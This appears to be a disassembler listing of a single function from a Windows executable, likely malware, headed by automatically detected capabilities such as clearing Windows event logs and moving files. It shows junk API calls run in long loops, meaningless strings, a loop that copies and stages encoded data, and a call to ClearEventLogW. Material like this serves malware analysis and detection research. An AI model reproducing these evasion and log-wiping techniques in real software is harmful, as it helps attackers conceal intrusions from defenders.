Function at 0x417090
Capabilities:
Access the windows event log
Clear windows event logs
Get file attributes
Move file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1570
call fcn.00407320
mov eax, dword [0x41b008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_ClearEventLogW]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor esi, esi
jmp 0x4170c0
cmp dword [0x2b1af6c], 0x7d
jne 0x4170cf
push 0
push 0
call ebx
cmp esi, 0x4e5
jne 0x4170e6
mov eax, dword [0x41c4f8]
add eax, 0x9e49
mov dword [0x2b1af6c], eax
cmp dword [0x2b1af6c], 0xbcf
jne 0x417108
call edi
mov dword [0x41cfe0], 0xec58ac98
mov dword [0x41cfe4], 0xffffffff
inc esi
cmp esi, 0x114aff4
jl 0x4170c0
mov edi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
xor esi, esi
lea esp, [esp]
cmp esi, 0x56051f
jne 0x417134
mov ecx, dword [0x41bee8]
mov dword [0x2b1b09c], ecx
cmp dword [0x2b1af6c], 0x3c
jne 0x417141
push 0
call edi
inc esi
cmp esi, 0x4cab834c
jl 0x417120
cmp dword [0x2b1af6c], 0x7c
jne 0x41729e
push 0
lea edx, [ebp - 0x1564]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
xor esi, esi
push esi
lea eax, [ebp - 0x1560]
push eax
push esi
lea ecx, [ebp - 0xc04]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push esi
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
lea edx, [ebp - 0x1568]
push edx
lea eax, [ebp - 0x804]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SearchPathW]
push 0x2e
lea ecx, [ebp - 0x1434]
push esi
push ecx
mov dword [ebp - 0x1438], esi
call fcn.004050d0
add esp, 0xc
push esi
lea edx, [ebp - 0x1438]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push str.Gutuziwibaboy_nakepinuy_liza
push str.Yezuborodahac
call dword [sym.imp.KERNEL32.dll_MoveFileA]
lea eax, [ebp - 0x154c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea ecx, [ebp - 0x155c]
push ecx
mov dword [ebp - 0x155c], esi
call dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor eax, eax
xor edx, edx
mov word [ebp - 0x1552], ax
xor ecx, ecx
mov word [ebp - 0x154e], dx
lea eax, [ebp - 0x1570]
push eax
mov word [ebp - 0x1550], cx
mov ecx, dword [ebp - 0x1550]
push ecx
mov word [ebp - 0x1554], dx
mov edx, dword [ebp - 0x1554]
push edx
lea eax, [ebp - 0x1558]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputW]
push esi
lea ecx, [ebp - 0x1404]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
lea edx, [ebp - 0x1004]
push edx
push esi
push str.nikibewuxakojafekuhidavopuro_luwemacajetonodi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LCMapStringA]
cmp dword [0x2b1af6c], 0x11
jne 0x417279
push esi
push esi
push esi
call dword [sym.imp.GDI32.dll_GetBoundsRect]
cmp dword [0x2b1af6c], 0x2d
jne 0x41728f
push str.Karivisegezudox_varesaxirexori_xolekub
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push esi
call fcn.00401168
push esi
call fcn.0040117e
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_SetCommState]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea esp, [esp]
push 0
push 0
call edi
call ebx
cmp esi, 0x24b33
jg 0x4172c9
inc esi
cmp esi, 0xeae9f
jl 0x4172b0
cmp dword [0x2b1af6c], 0x2a
jne 0x41733f
xor esi, esi
push esi
mov dword [0x2b1af60], esi
mov dword [0x2b1af64], esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
lea eax, [ebp - 0x1550]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetStringTypeExW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
push esi
push esi
call fcn.0040100f
push esi
call fcn.0040109e
push esi
call fcn.0040109e
push esi
push esi
call fcn.0040100f
push esi
call fcn.00407494
push esi
push esi
call fcn.0040100f
push esi
push esi
push esi
push esi
call fcn.004014f3
push esi
call fcn.004012b0
add esp, 0x38
push esi
call fcn.004017e3
call fcn.00416cd0
mov ecx, dword [0x2b1af6c]
xor eax, eax
test ecx, ecx
jbe 0x41738d
mov edi, dword [0x2b1b09c]
mov esi, dword [0x2b1adb4]
mov edx, 0x17bc
jmp 0x417370
mov bl, byte [edi + eax + 0x9e49]
mov byte [esi + eax], bl
cmp ecx, 0x8d
jne 0x417388
mov dword [0x2b1adb8], edx
inc eax
cmp eax, ecx
jb 0x417370
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call fcn.00416d00
call fcn.00416ff0
mov edi, dword [sym.imp.KERNEL32.dll_GlobalSize]
mov ebx, dword [sym.imp.KERNEL32.dll_SetStdHandle]
xor esi, esi
cmp dword [0x2b1af6c], 0x41
jne 0x4173c3
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0xd606b
jne 0x4173d0
call fcn.00416cf0
cmp dword [0x2b1af6c], 0xc
jne 0x4173e6
lea ecx, [ebp - 0x1558]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc esi
cmp esi, 0x24e87d
jl 0x4173b0
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov ebx, 0x1d5ed5
mov edi, 0x8e4e4fe0
nop
cmp dword [0x2b1af6c], 0x7c4
mov dword [0x2b1adbc], edi
jne 0x417419
push str.Xokodogeb_cariganasuz_zahajucaza_mizunu_gilekuxorafapey
call esi
sub ebx, 1
jne 0x417400
mov ecx, dword [ebp - 0x1428]
pop edi
pop esi
xor eax, eax
pop ebx
lea esp, [esp]
cmp eax, 0x408e
jle 0x41743f
cmp ecx, 0xf5bed7
jne 0x417447
inc eax
cmp eax, 0x687ed2
jl 0x417430
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401000
mov esp, ebp
pop ebp
ret